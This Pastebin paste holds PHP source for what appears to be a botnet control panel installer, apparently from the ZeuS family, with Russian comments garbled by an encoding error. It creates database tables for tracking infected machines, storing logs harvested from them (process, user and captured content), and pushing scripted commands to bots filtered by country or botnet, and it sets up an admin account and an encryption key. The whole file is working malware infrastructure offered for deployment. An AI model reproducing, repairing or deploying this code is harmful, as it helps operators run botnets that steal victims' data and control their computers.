Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php define('__INSTALL__', 1);
- require_once('../system/global.php');
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- // КонÑтанты.
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- //Файлы.
- define('FILE_GEOBASE', 'geobase.txt'); //Геобаза
- define('FILE_CONFIG', '../system/config.php'); //Конфиг.
- //Заголовок
- define('APP_TITLE', 'Control Panel '.BO_CLIENT_VERSION.' Installer');
- //Параметры диалога.
- define('DIALOG_WIDTH', '350px'); //Ширина диалога.
- define('DIALOG_INPUT_WIDTH', '150px'); //Ширина <input>.
- //Подключение темы.
- define('THEME_PATH', '../theme');
- require_once(THEME_PATH.'/index.php');
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- // СпиÑок таблиц.
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- //СпиÑок ботов
- $_TABLES['botnet_list'] =
- "`bot_id` varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '' UNIQUE, ". //ID бота.
- "`botnet` varchar(".BOTNET_MAX_CHARS.") NOT NULL default '".DEFAULT_BOTNET."', ". //Ботнет.
- "`bot_version` int unsigned NOT NULL default '0', ". //ВерÑÐ¸Ñ Ð±Ð¾Ñ‚Ð°.
- "`net_latency` int unsigned NOT NULL default '0', ". //Лаг ÑоединениÑ.
- "`tcpport_s1` smallint unsigned NOT NULL default '0', ". //TCP порт S1.
- "`time_localbias` int signed NOT NULL default '0', ". //ОффÑет локального времени в Ñекундах.
- "`os_version` tinyblob NOT NULL, ". //Данные об OS (dwMajor, dwMinor, dwBuild, dwSP, wSuiteMask, wProductType).
- "`language_id` smallint unsigned NOT NULL default '0', ". //ID Ñзыка OS.
- "`ipv4_list` blob NOT NULL, ". //СпиÑок IPv4 адреÑов.
- "`ipv6_list` blob NOT NULL, ". //СпиÑок IPv6 адреÑов.
- "`ipv4` varbinary(4) NOT NULL default '\\0\\0\\0\\0', ". //IPv4
- "`country` varchar(2) NOT NULL default '--', ". //Страна.
- "`rtime_first` int unsigned NOT NULL default '0', ". //Ð’Ñ€ÐµÐ¼Ñ Ð¿ÐµÑ€Ð²Ð¾Ð³Ð¾ отчета об онлайне.
- "`rtime_last` int unsigned NOT NULL default '0', ". //Ð’Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ñледнего отчета об онлайне.
- "`rtime_online` int unsigned NOT NULL default '0', ". //ВремÑ, c которого бот находитьÑÑ Ð² онлайне.
- "`flag_new` bool NOT NULL default '1', ". //Флаг "ИнÑталла".
- "`flag_used` bool NOT NULL default '0', ". //Флаг "ИÑпользован".
- "`comment` tinytext NOT NULL"; //Комментарии к боту.
- //Шаблон отчетов.
- $_TABLES['botnet_reports'] =
- "`id` int unsigned NOT NULL auto_increment PRIMARY KEY, ".
- "`bot_id` varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '', ". //ID бота.
- "`botnet` varchar(".BOTNET_MAX_CHARS.") NOT NULL default '".DEFAULT_BOTNET."', ". //Ботнет.
- "`bot_version` int unsigned NOT NULL default '0', ". //ВерÑÐ¸Ñ Ð±Ð¾Ñ‚Ð°.
- "`path_source` text NOT NULL, ". //ИÑходный путь лога.
- "`path_dest` text NOT NULL, ". //Конечный путь лога.
- "`time_system` int unsigned NOT NULL default '0', ". //ОффÑет локального времени в Ñекундах.
- "`time_tick` int unsigned NOT NULL default '0', ". //ОффÑет локального времени в мÑ.
- "`time_localbias` int NOT NULL default '0', ". //ОффÑет локального времени в Ñекундах.
- "`os_version` tinyblob NOT NULL, ". //Данные об OS (OSINFO).
- "`language_id` smallint unsigned NOT NULL default '0', ". //ID Ñзыка OS.
- "`process_name` text NOT NULL, ". //Ð˜Ð¼Ñ Ð¿Ñ€Ð¾Ñ†ÐµÑÑа.
- "`process_user` text NOT NULL, ". //Ð˜Ð¼Ñ ÑŽÐ·ÐµÑ€Ð° процеÑÑа.
- "`type` int unsigned NOT NULL default '0', ". //Тип лога.
- "`context` longtext NOT NULL, ". //Содержимое лога.
- "`ipv4` varbinary(15) NOT NULL default '0.0.0.0', ". //IPv4
- "`country` varchar(2) NOT NULL default '--', ". //Страна.
- "`rtime` int unsigned NOT NULL default '0'"; //Ð’Ñ€ÐµÐ¼Ñ Ð¾Ñ‚Ñ‡ÐµÑ‚Ð°.
- //База IPv4 to Country.
- $_TABLES['ipv4toc'] =
- "`l` int unsigned NOT NULL default '0', ". //Ðижний IP.
- "`h` int unsigned NOT NULL default '0', ". //Верхний IP.
- "`c` varbinary(2) NOT NULL default '--'"; //Страна.
- //СпиÑок пользователей.
- $_TABLES['cp_users'] =
- "`id` int unsigned NOT NULL auto_increment PRIMARY KEY, ".
- "`name` varchar(20) NOT NULL default '' UNIQUE, ". //ИмÑ.
- "`pass` varchar(32) NOT NULL default '', ". //Пароль.
- "`language` varbinary(2) NOT NULL default 'en', ". //Язык пользователÑ.
- "`flag_enabled` bool NOT NULL default '1', ". //Флаг включенного пользователÑ
- "`comment` tinytext NOT NULL, ". //Комментарии.
- //Различные наÑтройки.
- "`ss_format` varbinary(10) NOT NULL default 'jpeg', ". //Формат Ñкриншотов.
- "`ss_quality` tinyint unsigned NOT NULL default '30', ". //КачеÑтво Ñкриншота.
- //Права.
- "`r_edit_bots` bool NOT NULL default '1', ".
- "`r_stats_main` bool NOT NULL default '1', ".
- "`r_stats_main_reset` bool NOT NULL default '1', ".
- "`r_stats_os` bool NOT NULL default '1', ".
- "`r_botnet_bots` bool NOT NULL default '1', ".
- "`r_botnet_scripts` bool NOT NULL default '1', ".
- "`r_botnet_scripts_edit` bool NOT NULL default '1', ".
- "`r_reports_db` bool NOT NULL default '1', ".
- "`r_reports_db_edit` bool NOT NULL default '1', ".
- "`r_reports_files` bool NOT NULL default '1', ".
- "`r_reports_files_edit` bool NOT NULL default '1', ".
- /*EVAL_BEGIN*/if(configBool('jabber_notifier'))return
- "\"`r_reports_jn` bool NOT NULL default '1', \".";
- /*EVAL_END*/
- "`r_system_info` bool NOT NULL default '1', ".
- "`r_system_options` bool NOT NULL default '1', ".
- "`r_system_user` bool NOT NULL default '1', ".
- "`r_system_users` bool NOT NULL default '1'";
- //Скрипты ботам.
- $_TABLES['botnet_scripts'] =
- "`id` int unsigned NOT NULL auto_increment PRIMARY KEY,".
- "`extern_id` varbinary(16) NOT NULL default '0', ". //Внешний ID.
- "`name` varchar(255) NOT NULL default '', ". //Ðазвание группы.
- "`flag_enabled` bool NOT NULL default '0', ". //Скрипт активна.
- "`time_created` int unsigned NOT NULL default '0', ". //Ð’Ñ€ÐµÐ¼Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñкрипта.
- "`send_limit` int unsigned NOT NULL default '0', ". //Лимит ботов.
- "`bots_wl` text NOT NULL, ". //СпиÑок ботов, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… нужно иÑпольнÑÑ‚ÑŒ Ñкрипт.
- "`bots_bl` text NOT NULL, ". //СпиÑок ботов, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… не нужно иÑпольнÑÑ‚ÑŒ Ñкрипт.
- "`botnets_wl` text NOT NULL, ". //СпиÑок ботнетов, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… нужно иÑпольнÑÑ‚ÑŒ Ñкрипт.
- "`botnets_bl` text NOT NULL, ". //СпиÑок ботнетов, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… не нужно иÑпольнÑÑ‚ÑŒ Ñкрипт.
- "`countries_wl` text NOT NULL, ". //СпиÑок Ñтран, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… нужно иÑпольнить Ñкрипт.
- "`countries_bl` text NOT NULL, ". //СпиÑок Ñтран, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… не нужно иÑполнÑÑ‚ÑŒ Ñкрипт.
- "`script_text` text NOT NULL, ". //ТекÑтовое предÑтавление команд в группе.
- "`script_bin` blob NOT NULL"; //Бинарное предÑтавление команд в группе.
- //СтатиÑтика Ñкриптов по ботам.
- $_TABLES['botnet_scripts_stat'] =
- "`extern_id` varbinary(16) NOT NULL, ". //Внешний ID.
- "`type` tinyint unsigned NOT NULL default '0', ". //Типа запиÑи. 1 - отпралвен, 2 - иÑполнен, 3 - ошибка.
- "`bot_id` varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '', ". //ID бота.
- "`bot_version` int unsigned NOT NULL default '0', ". //ВерÑÐ¸Ñ Ð±Ð¾Ñ‚Ð°.
- "`rtime` int unsigned NOT NULL default '0', ". //Ð’Ñ€ÐµÐ¼Ñ Ð¾Ñ‚Ñ‡ÐµÑ‚Ð°.
- "`report` text NOT NULL, ". //ТекÑтовый отчет бота о выполнении ÑценариÑ.
- "UNIQUE(`extern_id`, `bot_id`, `type`)";
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- // Ð—Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ð¾ умолчанию.
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- $pd_user = 'admin';
- $pd_pass = '';
- $pd_mysql_host = '127.0.0.1';
- $pd_mysql_user = 'root';
- $pd_mysql_pass = '';
- $pd_mysql_db = 'cpdb';
- $pd_reports_path = '_reports';
- $pd_reports_to_db = 1;
- $pd_reports_to_fs = 0;
- $pd_botnet_timeout = 25;
- $pd_botnet_cryptkey = '';
- $_OUTPUT = '';
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- // Функции.
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- //Отображение ошибки.
- function ShowError($text)
- {
- global $_OUTPUT;
- $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', '• ERROR:'.$text, THEME_DIALOG_ITEM_ERROR).THEME_DIALOG_ROW_END;
- }
- //Отображение процеÑÑа.
- function ShowProgress($text)
- {
- global $_OUTPUT;
- $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', '• '.$text, THEME_DIALOG_ITEM_SUCCESSED).THEME_DIALOG_ROW_END;
- }
- //Создание таблицы.
- function CreateTable($name)
- {
- global $_TABLES;
- ShowProgress("Creating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
- if(!@mysql_query("DROP TABLE IF EXISTS `{$name}`") || !@mysql_query("CREATE TABLE `{$name}` ({$_TABLES[$name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
- {
- ShowError("Failed: ".htmlEntitiesEx(mysql_error()));
- return false;
- }
- return true;
- }
- //Обнавление таблицы.
- function UpdateTable($name)
- {
- global $_TABLES;
- ShowProgress("Updating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
- if(!@mysql_query("CREATE TABLE IF NOT EXISTS `{$name}` ({$_TABLES[$name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
- {
- ShowError("Failed: ".htmlEntitiesEx(mysql_error()));
- return false;
- }
- //@mysql_query("ALTER TABLE `{$name}` CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE);
- //ОбнавлÑем на удачу.
- $list = explode(',', $_TABLES[$name]);
- foreach($list as &$l)@mysql_query("ALTER TABLE `{$name}` ADD {$l}");
- return true;
- }
- //Обнавление таблицы по данным другой таблицы.
- function UpdateTableEx($name, $real_name)
- {
- global $_TABLES;
- ShowProgress("Updating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
- if(!@mysql_query("CREATE TABLE IF NOT EXISTS `{$name}` ({$_TABLES[$real_name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
- {
- ShowError("Failed: ".htmlEntitiesEx(mysql_error()));
- return false;
- }
- //@mysql_query("ALTER TABLE `{$name}` CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE);
- //ОбнавлÑем на удачу.
- $list = explode(',', $_TABLES[$real_name]);
- foreach($list as &$l)@mysql_query("ALTER TABLE `{$name}` ADD {$l}");
- return true;
- }
- //Добавление Ñтроки в таблицу
- function AddRowToTable($name, $query)
- {
- if(!mysqlQueryEx($name, "INSERT INTO `{$name}` SET {$query}"))
- {
- ShowError("Failed to write row to table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.": %s".htmlEntitiesEx(mysql_error()));
- return false;
- }
- return true;
- }
- //Создание пути.
- function CreatePath($new_dir, $old_dir)
- {
- $dir_r = '../'.$new_dir;
- if($old_dir != 0 && $old_dir != $new_dir && file_exists('../'.$old_dir))
- {
- ShowProgress("Renaming folder ".THEME_STRING_BOLD_BEGIN."'{$old_dir}'".THEME_STRING_BOLD_END." to ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
- if(!is_dir($dir_r) && !@rename('../'.$old_dir, $dir_r))
- {
- ShowError("Failed to rename folder.");
- return false;
- }
- @chmod($dir_r, 0777);
- }
- else
- {
- ShowProgress("Creating folder ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
- if(!is_dir($dir_r) && !@mkdir($dir_r, 0777))
- {
- ShowError("Failed to create folder ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
- return false;
- }
- }
- return true;
- }
- //Выбор режим работы.
- $is_update = file_exists(FILE_CONFIG);
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- // ПроцеÑÑ ÑƒÑ‚Ñановки/обнавлениÑ.
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- if(strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0)
- {
- $error = false;
- $_OUTPUT = str_replace('{WIDTH}', DIALOG_WIDTH, THEME_DIALOG_BEGIN).
- str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, 'Installation steps:'), THEME_DIALOG_TITLE);
- //Получение ПоÑÑ‚-данных.
- if($is_update)
- {
- if(!@include_once(FILE_CONFIG))
- {
- ShowError("Failed to open file '".FILE_CONFIG."'.");
- $error = true;
- }
- else
- {
- if(isset($config['reports_path']))$pd_reports_path = $config['reports_path'];
- if(isset($config['reports_to_db']))$pd_reports_to_db = $config['reports_to_db'] ? 1 : 0;
- if(isset($config['reports_to_fs']))$pd_reports_to_fs = $config['reports_to_fs'] ? 1 : 0;
- if(isset($config['botnet_timeout']))$pd_botnet_timeout = (int)($config['botnet_timeout'] / 60);
- if(isset($config['botnet_cryptkey']))$pd_botnet_cryptkey = $config['botnet_cryptkey'];
- $pd_mysql_host = isset($config['mysql_host']) ? $config['mysql_host'] : NULL;
- $pd_mysql_user = isset($config['mysql_user']) ? $config['mysql_user'] : NULL;
- $pd_mysql_pass = isset($config['mysql_pass']) ? $config['mysql_pass'] : NULL;
- $pd_mysql_db = isset($config['mysql_db']) ? $config['mysql_db'] : NULL;
- }
- }
- else
- {
- $pd_user = checkPostData('user', 1, 20);
- $pd_pass = checkPostData('pass', 6, 64);
- $pd_reports_path = checkPostData('path_reports', 1, 256);
- $pd_reports_to_db = (isset($_POST['reports_to_db']));// && $_POST['reports_to_db'] == 1);
- $pd_reports_to_fs = (isset($_POST['reports_to_fs']));// && $_POST['reports_to_fs'] == 1);
- $pd_botnet_timeout = checkPostData('botnet_timeout', 1, 4);
- $pd_botnet_cryptkey = checkPostData('botnet_cryptkey', 1, 256);
- $pd_mysql_host = checkPostData('mysql_host', 1, 256);
- $pd_mysql_user = checkPostData('mysql_user', 1, 256);
- $pd_mysql_pass = checkPostData('mysql_pass', 0, 256);
- $pd_mysql_db = checkPostData('mysql_db', 1, 256);
- }
- $pd_reports_path = trim(str_replace('\\', '/', trim($pd_reports_path)), '/');
- //Обработка ошибок.
- if(!$error)
- {
- if(!$is_update && ($pd_user === NULL || $pd_pass === NULL))
- {
- ShowError('Bad format of login data.');
- $error = true;
- }
- if($pd_mysql_host === NULL || $pd_mysql_user === NULL || $pd_mysql_db === NULL)
- {
- ShowError('Bad format of MySQL server data.');
- $error = true;
- }
- if($pd_reports_path === NULL)
- {
- ShowError('Bad format of reports path.');
- $error = true;
- }
- if(!is_numeric($pd_botnet_timeout) || $pd_botnet_timeout < 1)
- {
- ShowError('Bot online timeout have bad value.');
- $error = true;
- }
- if($pd_botnet_cryptkey === NULL)
- {
- ShowError('Bad format of encryption key.');
- $error = true;
- }
- }
- //Подключение к базе.
- if(!$error)
- {
- ShowProgress("Connecting to MySQL as ".THEME_STRING_BOLD_BEGIN."'{$pd_mysql_user}'".THEME_STRING_BOLD_END.".");
- if(!@mysql_connect($pd_mysql_host, $pd_mysql_user, $pd_mysql_pass) || !@mysql_query('SET NAMES \''.MYSQL_CODEPAGE.'\' COLLATE \''.MYSQL_COLLATE.'\''))
- {
- ShowError("Failed connect to MySQL server: ".htmlEntitiesEx(mysql_error()));
- $error = true;
- }
- }
- //Выбор таблицы.
- if(!$error)
- {
- $db = addslashes($pd_mysql_db);
- ShowProgress("Selecting DB ".THEME_STRING_BOLD_BEGIN."'{$pd_mysql_db}'".THEME_STRING_BOLD_END.".");
- if(!@mysql_query("CREATE DATABASE IF NOT EXISTS `{$db}`"))
- {
- ShowError("Failed to create database: ".htmlEntitiesEx(mysql_error()));
- $error = true;
- }
- else if(!@mysql_select_db($pd_mysql_db))
- {
- ShowError("Failed to select database: ".htmlEntitiesEx(mysql_error()));
- $error = true;
- }
- @mysql_query("ALTER DATABASE `{$db}` CHARACTER SET ".MYSQL_CODEPAGE." COLLATE ".MYSQL_COLLATE);
- }
- //Обрабатываем таблицы.
- if(!$error)foreach($_TABLES as $table => $v)
- {
- //Заполнение таблицы ipv4toc.
- if(strcmp($table, 'ipv4toc') == 0)
- {
- if(($error = !CreateTable($table)))break;
- ShowProgress("Filling table ".THEME_STRING_BOLD_BEGIN."'{$table}'".THEME_STRING_BOLD_END.".");
- if(($list = @file(FILE_GEOBASE)) === false)
- {
- ShowError("Failed to open file '".FILE_GEOBASE."'.");
- $error = true;
- }
- else
- {
- foreach($list as $item)
- {
- $cn = explode("\0", $item, 3);
- if(($error = !AddRowToTable($table, "l='{$cn[0]}', h='{$cn[1]}', c='".substr(trim($cn[2]), 0, 2)."'")))break;
- }
- unset($list);
- }
- }
- //ОбновлÑем Ñтарые таблицы отчетов.
- else if(strcmp($table, 'botnet_reports') == 0)
- {
- if(($error = !CreateTable($table)))break;
- $rlist = listReportTables($pd_mysql_db);
- foreach($rlist as $rtable)if(($error = !UpdateTableEx($rtable, 'botnet_reports')))break;
- }
- else $error = !($is_update ? UpdateTable($table) : CreateTable($table));
- if($error)break;
- }
- //Создание директории Ð´Ð»Ñ Ð¾Ñ‚Ñ‡ÐµÑ‚Ð¾Ð².
- if(!$error)$error = !CreatePath($pd_reports_path, isset($config['reports_path']) ? $config['reports_path'] : 0);
- //Обновление файла конфигурации.
- if(!$error)
- {
- ShowProgress("Writing config file");
- $updateList['mysql_host'] = $pd_mysql_host;
- $updateList['mysql_user'] = $pd_mysql_user;
- $updateList['mysql_pass'] = $pd_mysql_pass;
- $updateList['mysql_db'] = $pd_mysql_db;
- $updateList['reports_path'] = $pd_reports_path;
- $updateList['reports_to_db'] = $pd_reports_to_db ? 1 : 0;
- $updateList['reports_to_fs'] = $pd_reports_to_fs ? 1 : 0;
- $updateList['botnet_timeout'] = ((int)($pd_botnet_timeout * 60));
- $updateList['botnet_cryptkey'] = $pd_botnet_cryptkey;
- if(!updateConfig($updateList))
- {
- ShowError("Failed write to config file.");
- $error = true;
- }
- }
- //Добавление Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð² базу.
- if(!$error && !$is_update)
- {
- ShowProgress("Adding user ".THEME_STRING_BOLD_BEGIN."'{$pd_user}'".THEME_STRING_BOLD_END.".");
- $error = !AddRowToTable('cp_users', "name='".addslashes($pd_user)."', pass='".md5($pd_pass)."', comment='Default user'");
- }
- //Ð’Ñ‹ÑтавлÑем прозрачно права на каталог Ð´Ð»Ñ Ð²Ñ€ÐµÐ¼ÐµÐ½Ð½Ñ‹Ñ… файлов.
- @chmod('../tmp', 0777);
- //УÑпешное завершение.
- if(!$error)
- {
- $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.
- str_replace('{TEXT}', THEME_STRING_BOLD_BEGIN.($is_update ? '-- Update complete! --' : '-- Installation complete! --').THEME_STRING_BOLD_END, THEME_DIALOG_ITEM_SUCCESSED).
- THEME_DIALOG_ROW_END;
- themeSmall(APP_TITLE, $_OUTPUT.THEME_DIALOG_END, 0, 0, 0);
- die();
- }
- $_OUTPUT .= THEME_DIALOG_END.THEME_VSPACE;
- }
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- // ОÑновной диалог.
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- if($is_update)
- {
- @include_once(FILE_CONFIG);
- if(isset($config['mysql_db']))$pd_mysql_db = $config['mysql_db'];
- }
- if($is_update)$help = "This application update/repair and reconfigure your control panel on this server. If you want make new installation, please remove file '".FILE_CONFIG."'.";
- else $help = "This application install and configure your control panel on this server. Please type settings and press 'Install'.";
- $_FORMITEMS = '';
- //Данные юзера.
- if(!$is_update)
- {
- $_FORMITEMS .=
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
- str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Root user:'), THEME_DIALOG_GROUP_TITLE).
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{TEXT}', 'User name: (1-20 chars):', THEME_DIALOG_ITEM_TEXT).
- str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_user), 'user', '20', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
- THEME_DIALOG_ROW_END.
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{TEXT}', 'Password (6-64 chars):', THEME_DIALOG_ITEM_TEXT).
- str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_pass), 'pass', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
- THEME_DIALOG_ROW_END.
- THEME_DIALOG_GROUP_END.
- THEME_DIALOG_ROW_END;
- }
- //База данных.
- $_FORMITEMS .=
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
- str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'MySQL server:'), THEME_DIALOG_GROUP_TITLE);
- if(!$is_update)
- {
- $_FORMITEMS .=
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{TEXT}', 'Host:', THEME_DIALOG_ITEM_TEXT).
- str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_host), 'mysql_host', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
- THEME_DIALOG_ROW_END.
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{TEXT}', 'User:', THEME_DIALOG_ITEM_TEXT).
- str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_user), 'mysql_user', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
- THEME_DIALOG_ROW_END.
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{TEXT}', 'Password:', THEME_DIALOG_ITEM_TEXT).
- str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_pass), 'mysql_pass', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
- THEME_DIALOG_ROW_END;
- }
- $_FORMITEMS .=
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{TEXT}', 'Database:', THEME_DIALOG_ITEM_TEXT).
- str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_db), 'mysql_db', '64', DIALOG_INPUT_WIDTH), $is_update ? THEME_DIALOG_ITEM_INPUT_TEXT_RO : THEME_DIALOG_ITEM_INPUT_TEXT).
- THEME_DIALOG_ROW_END.
- THEME_DIALOG_GROUP_END.
- THEME_DIALOG_ROW_END;
- //Локальные пути.
- if(!$is_update)
- {
- $_FORMITEMS .=
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
- str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Local folders:'), THEME_DIALOG_GROUP_TITLE).
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{TEXT}', 'Reports:', THEME_DIALOG_ITEM_TEXT).
- str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_reports_path), 'path_reports', '255', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
- THEME_DIALOG_ROW_END.
- THEME_DIALOG_GROUP_END.
- THEME_DIALOG_ROW_END;
- }
- //Опции.
- if(!$is_update)
- {
- $_FORMITEMS .=
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
- str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Options:'), THEME_DIALOG_GROUP_TITLE).
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{TEXT}', 'Online bot timeout:', THEME_DIALOG_ITEM_TEXT).
- str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_botnet_timeout), 'botnet_timeout', '4', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
- THEME_DIALOG_ROW_END.
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{TEXT}', 'Encryption key (1-255 chars):', THEME_DIALOG_ITEM_TEXT).
- str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_botnet_cryptkey), 'botnet_cryptkey', '255', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
- THEME_DIALOG_ROW_END.
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
- THEME_DIALOG_ROW_BEGIN.
- str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'reports_to_db', '', 'Enable write reports to database.'), $pd_reports_to_db ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2).
- THEME_DIALOG_ROW_END.
- THEME_DIALOG_ROW_BEGIN.
- str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'reports_to_fs', '', 'Enable write reports to local path.'), $pd_reports_to_fs ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2).
- THEME_DIALOG_ROW_END.
- THEME_DIALOG_GROUP_END.
- THEME_DIALOG_ROW_END.
- THEME_DIALOG_GROUP_END.
- THEME_DIALOG_ROW_END;
- }
- //Форма.
- $_OUTPUT .=
- str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('idata', basename($_SERVER['PHP_SELF']), ''), THEME_FORMPOST_BEGIN).
- str_replace('{WIDTH}', DIALOG_WIDTH, THEME_DIALOG_BEGIN).
- str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, APP_TITLE), THEME_DIALOG_TITLE).
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
- THEME_DIALOG_ROW_BEGIN.
- str_replace('{TEXT}', $help, THEME_DIALOG_ITEM_WRAPTEXT).
- THEME_DIALOG_ROW_END.
- THEME_DIALOG_GROUP_END.
- THEME_DIALOG_ROW_END.
- $_FORMITEMS.
- str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN).
- str_replace(array('{TEXT}', '{JS_EVENTS}'), array(($is_update ? '-- Update --' : '-- Install --'), ''), THEME_DIALOG_ITEM_ACTION_SUBMIT).
- THEME_DIALOG_ACTIONLIST_END.
- THEME_DIALOG_END.
- THEME_FORMPOST_END;
- //Вывод.
- themeSmall(APP_TITLE, $_OUTPUT, 0, 0, 0);
- ?>
Add Comment
Please, Sign In to add comment